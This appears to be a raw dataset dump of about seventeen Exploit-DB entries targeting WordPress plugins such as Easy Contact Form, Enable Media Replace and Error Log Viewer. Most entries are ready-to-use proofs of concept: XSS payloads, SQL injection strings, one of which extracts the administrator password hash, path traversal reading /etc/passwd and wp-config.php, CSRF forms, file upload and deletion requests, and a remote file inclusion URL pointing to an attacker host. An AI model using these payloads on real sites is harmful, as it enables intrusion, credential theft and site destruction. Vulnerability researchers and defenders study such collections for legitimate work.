deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49427
Description: WordPress Plugin Easy Contact Form 1.1.7 - 'Name' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-01-15
Author: Rahul Ramakant Singh

Exploit:
# Exploit Title: WordPress Plugin Easy Contact Form 1.1.7 - 'Name' Stored Cross-Site Scripting (XSS)
# Date: 14/01/2021
# Exploit Author: Rahul Ramakant Singh
# Vendor Homepage: https://ghozylab.com/plugins/
# Software Link: https://demo.ghozylab.com/plugins/easy-contact-form-plugin/
# Version: 1.1.7
# Tested on Windows

Steps:

1. Install WordPress 5.6
2. Install and activate *Contact Form Plugin* plugin.

3. Go to * Contact Form Plugin *plugin section and click on the add new form button.

4. Fill all required details and click on the save button and capture the request in a proxy tool like burp suite.

6. Append the JavaScript payload in the "Email Header" field as mentioned below

*"<sc><svg/onload=alert(454)>"*

5. You will observe that the payload successfully got stored and reflected into the response and the malicious JavaScript payload got executed successfully and we are getting a pop-up.
Exploit-DB #17680
Description: WordPress Plugin Easy Contact Form Lite 1.0.7 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-17
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Easy Contact Form Lite plugin <= 1.0.7 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/easy-contact-form-lite.zip
# Version: 1.0.7 (tested)

---
PoC (POST data)
---
http://www.site.com/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php
 field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
foreach ($_POST['field_num'] as $position=>$field_id) {
	
	if ($field_id > 0) {
		$query = "
			UPDATE $settings_table_name 
			SET position = '".$position."' 
			WHERE ID = $field_id";
		$wpdb->query($query);
	}
Exploit-DB #19013
Description: WordPress Plugin Easy Contact Forms Export 1.1.0 - Information Disclosure
Type: webapps
Platform: php
Date: 2012-06-08
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - Easy Contact Forms Export 
Information Disclosure Vulnerability
# Version : 1.1.0
# Link : http://wordpress.org/extend/easy-contact-forms-exporter/
# Plugins : 
http://downloads.wordpress.org/plugin/easy-contact-forms-exporter.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/easy-contact-forms-exporter/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################

Exploit :

http://www.exemple.com/wordpress/wp-content/plugins/easy-contact-forms-exporter/downloadcsv.php?file=../etc/passwd
Exploit-DB #50849
Description: WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS
Type: webapps
Platform: php
Date: 2022-03-30
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Easy Cookie Policy 1.6.2 - Broken Access Control to Stored XSS
# Date: 2/27/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/easy-cookies-policy/
# Version: 1.6.2
# Tested on: Windows 10
# CVE: CVE-2021-24405

1. Description:
Broken access control allows any authenticated user to change the cookie banner through a POST request to admin-ajax.php.
If users can't register, this can be done through CSRF.

2. Proof of Concept:
POST http://localhost/wp-admin/admin-ajax.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: http://localhost/wp-admin/options-general.php?page=easy-cookies-policy
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 226
Origin: http://localhost
Connection: keep-alive
Host: localhost
Cookie: [Any authenticated user]

action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd
Exploit-DB #22300
Description: WordPress Plugin Easy Webinar - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-10-28
Author: Robert Cooper

Exploit:
# Exploit Title: Wordpress Easy Webinar Plugin Blind SQL Injection Vulnerability

# Vendor Homepage: www.easywebinarplugin.com

# Date: 10/26/2012

# Author: Robert Cooper (robert.cooper [at] areyousecure.net)

# Tested on: [Linux/Windows 7]

#Vulnerable Parameters: wid=


# Google Dork: allinurl: get-widget.php?wid=

##############################################################
Exploit:

www.example.com/wp-content/plugins/webinar_plugin/get-widget.php?wid=[SQLi]

Note: The HTTP response will read 404, but this is false:

www.example.com/wp-content/plugins/webinar_plugin/get-widget.php?wid=3' or 'x'='x

This will result in the page loading correctly and show that the plugin is vulnerable to injection (string).
##############################################################

www.areyousecure.net

# Shouts to the Belegit crew
Exploit-DB #39575
Description: WordPress Plugin eBook Download 1.1 - Directory Traversal
Type: webapps
Platform: php
Date: 2016-03-21
Author: Wadeek

Exploit:
# Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7
 
[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================
 
[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================
Exploit-DB #38019
Description: WordPress Plugin Eco-annu - 'eid' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-09
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/56479/info

The Eco-annu plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/eco-annu/map.php?eid=[SQL]
Exploit-DB #17284
Description: WordPress Plugin EditorMonkey 2.5 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-05-14
Author: kaMtiEz

Exploit:
#############################################################################################################
## WordPress EditorMonkey (FCKeditor) Remote File Upload			                                       ##
## Author : kaMtiEz (kamtiez@exploit-id.com)								                               ##
## Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id	       ##
## Date : 14 May, 2011 						                                                               ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://rajprasad.wordpress.com/plugins/editormonkey/
[+] Download : http://www.kumovies.com/wp-content/plugins/editormonkey.tar.gz
[+] version : 2.5 or lower maybe also affected
[+] Vulnerability : File Upload
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/wp-content/plugins/editormonkey/fckeditor/editor/filemanager/upload/test.html

[ Shell ]

http://127.0.0.1/[kaMtiEz]/UserFiles/YourFile.txt

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - KILL-9
[+] Tukulesto,arianom,el-farhatz,Jundab,Ibl13Z,Ulow,s1do3L,Boebefa,Hmei7,RyanAby,AlbertWired,GonzHack
[+] Lagripe-Dz,KedAns-Dz,By_aGreSiF,t0r3x,Mboys,Contrex,Gh4mb4S,jos_ali_joe,k4l0ng666,n4sss,r3m1ck,El k4mpr3t0
[+] yur4kh4,xr0b0t,kido,trycyber,n4ck0,dan teman2 semuanya yang saya tak bisa sebutkan satu2 :D

[ NOTE ] 

[+] For Wantexz .. Get Well Soon My Friends :) 
[+] Special Thx to my brotherhood in DejavuNet :D  
[+] Jangan Takut , Luka Pasti Akan Sembuh :)

[ QUOTE ]

[+] INDONESIANHAXOR still r0x
[+] nothing secure ..
Exploit-DB #20270
Description: WordPress Plugin Effective Lead Management 3.0.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-05
Author: Chris Kellum

Exploit:
# Exploit Title: WP Lead Management v3.0.0 Persistent XSS
# Date: 8/5/12
# Exploit Author: Chris Kellum
# Software Link: http://downloads.wordpress.org/plugin/wp-effective-lead-management.3.0.1.zip
# Version: 3.0.0



=====================
Vulnerability Details
=====================

The form does not properly sanitize input fields, allowing for XSS.

     Example:

          <script>alert('xss')</script>

XSS will fire when the admin views the lead management page if the javascript is included in the name, otherwise the javascript can be included in the "requirements" field and will fire when an admin "picks" the lead.

===================
Disclosure Timeline
===================

8/4/12 - Vulnerability discovered. No author contact information available. Public disclosure.
Exploit-DB #51716
Description: Wordpress Plugin Elementor 3.5.5 - Iframe Injection
Type: webapps
Platform: php
Date: 2023-09-08
Author: Miguel Santareno

Exploit:
# Exploit Title: Wordpress Plugin Elementor < 3.5.5 - Iframe Injection
# Date: 28.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://elementor.com/
# Version: < 3.5.5
# Tested on: Google and Firefox latest version
# CVE : CVE-2022-4953

# 1. Description
The plugin does not filter out user-controlled URLs from being loaded into the DOM. This could be used to inject rogue iframes that point to malicious URLs.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://vulnerable-site.tld/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoidmlkZW8iLCJ1cmwiOiJodHRwczovL2Rvd25sb2FkbW9yZXJhbS5jb20vIn0K
Exploit-DB #37356
Description: WordPress Plugin Email NewsLetter 8.0 - 'option' Information Disclosure
Type: webapps
Platform: php
Date: 2012-06-07
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53850/info

The Email Newsletter plugin for WordPress is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.

An attackers can exploit this issue to obtain sensitive information that may aid in further attacks.

Email Newsletter 8.0 is vulnerable; other versions may also be affected.

http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=registered_user

http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=view_suscriber

http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=commentposed _user

http://www.example.com/wordpress/wp-content/plugins/email-newsletter/csv/export.php?option=contact_user
Exploit-DB #43872
Description: WordPress Plugin Email Subscribers & Newsletters 3.4.7 - Information Disclosure
Type: webapps
Platform: php
Date: 2018-01-24
Author: ThreatPress Security

Exploit:
# Exploit Title: WordPress Plugin Email Subscribers & Newsletters 3.4.7 - Information Disclosure
# Google Dork:
# Date: 2018-01-23
# Exploit Author: ThreatPress Security
# Vendor Homepage: http://icegram.com/
# Software Link: https://wordpress.org/plugins/email-subscribers/
# Version: 3.4.7
# Tested on: WordPress 4.9.2
# CVE :

Email Subscribers & Newsletters, a popular WordPress plugin, has just fixed  the vulnerability that allows an unauthenticated user to download the entire subscriber  list with names and e-mail addresses.

Exploit:

<form action="http://DOMAINTOTEST.com/?es=export" method="post">
    <input type="text" name="option" value="view_all_subscribers" />
    <input type="submit" value="Exploit" />
</form>
Exploit-DB #16144
Description: WordPress Plugin Enable Media Replace - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-09
Author: Ulf Harnhammar

Exploit:
PRODUCT NAME:        Enable Media Replace WordPress Plugin
PRODUCT URL 1:       http://wordpress.org/extend/plugins/enable-media-replace/
PRODUCT URL 2:       http://mansjonasson.se/wordpress-plugins/enable-media-replace/
PRODUCT AUTHOR:      Mans Jonasson for .SE (Stiftelsen for Internetinfrastruktur) -- http://www.iis.se/
SECURITY RESEARCHER: Ulf Harnhammar -- http://thcxthcx.net/
AFFECTED VERSIONS:   2.3 and probably all prior versions
STATUS:              Unpatched. Mans was contacted on 30 Jan and 3 Feb, but he is very busy with other
                     things than maintaining this plugin.
SOLUTION:            Deactivate the plugin temporarily. Look for other plugins that will help you with
                     the media handling.
IMPACT:              Information retrieval and manipulation, arbitrary code execution

VULNERABILITY DETAILS:

1) A user can perform SQL Injection attacks against the plugin at the Replace Media Upload page
(Media > Edit > Upload a new file). By changing the "attachment_id" parameter in the URL to:

attachment_id=99999+union+select+concat(0x20,user_login),+user_pass+from+wp_users+where+ID=1

.. the plugin will retrieve and display the administrator's user name and password hash. This
requires that the attacker has knowledge of the SQL table prefix, but that can be retrieved as
well from information_schema.TABLES .

NOTE: There are other SQL Injection bugs in the plugin code base, but it is currently not known if they
pose a security threat.

2) A user can upload arbitrary files, including PHP files, at the Replace Media Upload page using the
"Replace the file" functionality, which doesn't check if uploaded files have an allowed extension. This
can be exploited to execute arbitrary PHP code and for instance retrieve or change sensitive
information in the SQL database or the web server's file system.

Both issues require that the attacker has a valid user on the WordPress system with Author or higher
permissions. Therefore the vulnerabilities will have more of an impact in large organisations with
more users than in small organisations with fewer users.

// Ulf Harnhammar
Exploit-DB #37264
Description: WordPress Plugin Encrypted Contact Form 1.0.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-06-10
Author: Nitin Venkatesh

Exploit:
# Title: CVE-2015-4010 - Cross-site Request Forgery & Cross-site Scripting in Encrypted
Contact Form Wordpress Plugin v1.0.4
# Submitter: Nitin Venkatesh
# Product: Encrypted Contact Form Wordpress Plugin
# Product URL: https://wordpress.org/plugins/encrypted-contact-form/
# Vulnerability Type: Cross-site Request Forgery [CWE-352], Cross-site
scripting[CWE-79]
# Affected Versions: v1.0.4 and possibly below.
# Tested versions: v1.0.4
# Fixed Version: v1.1
# Link to code diff: https://plugins.trac.wordpress.org/changeset/1125443/
# Changelog: https://wordpress.org/plugins/encrypted-contact-form/changelog/
# CVE Status: CVE-2015-4010

## Product Information:

Secure contact form for WordPress. Uses end-to-end encryption to send user
information. Not even your hosting provider can view the content.

Let users send you information in a secure way. Uses I.CX messaging service
to encrypt user content in their own web browsers before sending to you.

## Vulnerability Description:

The forms in the admin area of the plugin are vulnerable to CSRF, via which
the contact forms generated are susceptible to XSS via unsanitized POST
parametre.

For example, the admin function of updating an existing form can be done
via CSRF. Hence, by submitting a crafted HTML string in the parametres via
CSRF, a XSS attack gets launched which affects all the visitors of the
page(s) containing the contact form.

## Proof of Concept:

<form action="http://localhost/wp-admin/options-general.php?page=conformconf";
method="post">
<input type="hidden" name="name" value="required" />
<input type="hidden" name="email" value="optional" />
<input type="hidden" name="phone" value="off" />
<input type="hidden" name="message" value="required" />
<input type="hidden" name="display_name" value="Example" />
<input type="hidden" name="recipient_name" value="example" />
<input type="hidden" name="cfc_page_name" value="" />
<!-- Wordpress page-id value -->
<input type="hidden" name="existing_page" value="28" />
<input type="hidden" name="cfc_selection" value="upd" />
<input type="hidden" name="iframe_url"
value=""></iframe><script>alert('XSS!');</script>"
/>
<input type="submit" value="Update Page">
</form>

## Solution:

Upgrade to v1.1 of the plugin.

## Disclosure Timeline:

2015-03-26 - Discovered. Contacted developer on support forums.
2015-03-27 - Contacted developer via contact form on vendor site.
2015-04-01 - Fixed v1.1 released.
2015-05-15 - Published disclosure on FD.
2015-05-16 - CVE assigned

## References:

CVE Assign - http://seclists.org/oss-sec/2015/q2/471
http://packetstormsecurity.com/files/131955/
https://wpvulndb.com/vulnerabilities/7992


## Disclaimer:

This disclosure is purely meant for educational purposes. I will in no way
be responsible as to how the information in this disclosure is used.
Exploit-DB #3051
Description: WordPress Plugin Enigma 2 Bridge - 'boarddir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-30
Author: Mehmet Ince

Exploit:
-----------------------------------------------

Enigma WordPress Bridge (boarddir) Remote File Include

-----------------------------------------------


Author: xoron

-----------------------------------------------
 
Vuln Code:

require_once($boarddir . '/PortalSources/Portal.ini.php');

-----------------------------------------------

3xplo!t:

WordPress_Files/All_Users/wp-content/plugins/Enigma2.php?boarddir=http://evil_scripts?

-----------------------------------------------

download:  http://www.lunabyte.org/downloads/WordPressBridge.zip

-----------------------------------------------
XORON   -   XORON   -   XORON   -   XORON   -   XORON
-----------------------------------------------------------
-                                                         -
-                                                         -
- Tum muslumanlarin kurban bayrami simdiden mubarek olsun -
-                                                         -
-              Greetz: str0ke, Kacper                     -
-                                                         -
-----------------------------------------------------------

# milw0rm.com [2006-12-30]
Exploit-DB #39253
Description: WordPress Plugin ENL NewsLetter - '/wp-admin/admin.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-05-28
Author: Anant Shrivastava

Exploit:
source: https://www.securityfocus.com/bid/68558/info

ENL Newsletter plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ENL Newsletter 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=enl-add-new&id=2 union select 1,@@version,3,user(),database(),6,7,8,9,0,1
Exploit-DB #50746
Description: WordPress Plugin Error Log Viewer 1.1.1 - Arbitrary File Clearing (Authenticated)
Type: webapps
Platform: php
Date: 2022-02-16
Author: Ceylan BOZOĞULLARINDAN

Exploit:
# Exploit Title: WordPress Plugin Error Log Viewer 1.1.1 - Arbitrary File Clearing (Authenticated)
# Date: 09-11-2021
# Exploit Author: Ceylan Bozogullarindan
# Exploit Website: https://bozogullarindan.com
# Vendor Homepage: https://bestwebsoft.com/
# Software Link: https://bestwebsoft.com/products/wordpress/plugins/error-log-viewer/
# Version: 1.1.1
# Tested on: Linux
# CVE: CVE-2021-24966 (https://wpscan.com/vulnerability/166a4f88-4f0c-4bf4-b624-5e6a02e21fa0)


# Description:

Error Log Viewer is a simple utility plugin that helps to find and view log files with errors right from the WordPress admin dashboard. Get access to all log files from one place. View the latest activity, select logs by date, view a full log file or clear a log file!

I've especially emphasized "clearing a log file" statement because the feature of "clearing a log file" can be used to delete an arbitrary file in a Wordpress web site. The reason of the vulnerability is that, the value of a file path which is going to be deleted is not properly and sufficiently controlled. Name of the parameter leading to the vulnerability is "rrrlgvwr_clear_file_name". It can be manipulated only authenticated users.

An attacker can use this vulnerability; to destroy the web site by deleting wp-config.php file, or to cover the fingerprints by clearing related log files.

# Steps To Reproduce

1. Install and activate the plugin.
2. Click the "Log Monitor" available under Error Log Viewer menu item.
3. Choose a log file to clear.
4. Intercept the request via Burp or any other local proxy tool.
5. Replace the value of the parameter "rrrlgvwr_clear_file_name" with a file path which is going to be cleared, such as /var/www/html/wp-config.php.
6. Check the content of the cleared file. You will see that the file is empty.


# PoC - Supported Materials

---------------------------------------------------------------------------
POST /wp-admin/admin.php?page=rrrlgvwr-monitor.php HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 603
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: [admin+]

rrrlgvwr_select_log=%2Fvar%2Fwww%2Fhtml%2Fwp-content%2Fplugins%2Flearnpress%2Finc%2Fgateways%2Fpaypal%2Fpaypal-ipn%2Fipn_errors.log&rrrlgvwr_lines_count=10&rrrlgvwr_from=&rrrlgvwr_to=&rrrlgvwr_show_content=all&rrrlgvwr_newcontent=%5B05-Feb-2015+07%3A28%3A49+UTC%5D+Invalid+HTTP+request+method.%0D%0A%0D%0A++++++++++++++++++++++++&rrrlgvwr_clear_file=Clear+log+file&rrrlgvwr_clear_file_name=/var/www/html/wp-config.php&rrrlgvwr_nonce_name=1283d54cc5&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Drrrlgvwr-monitor.php
---------------------------------------------------------------------------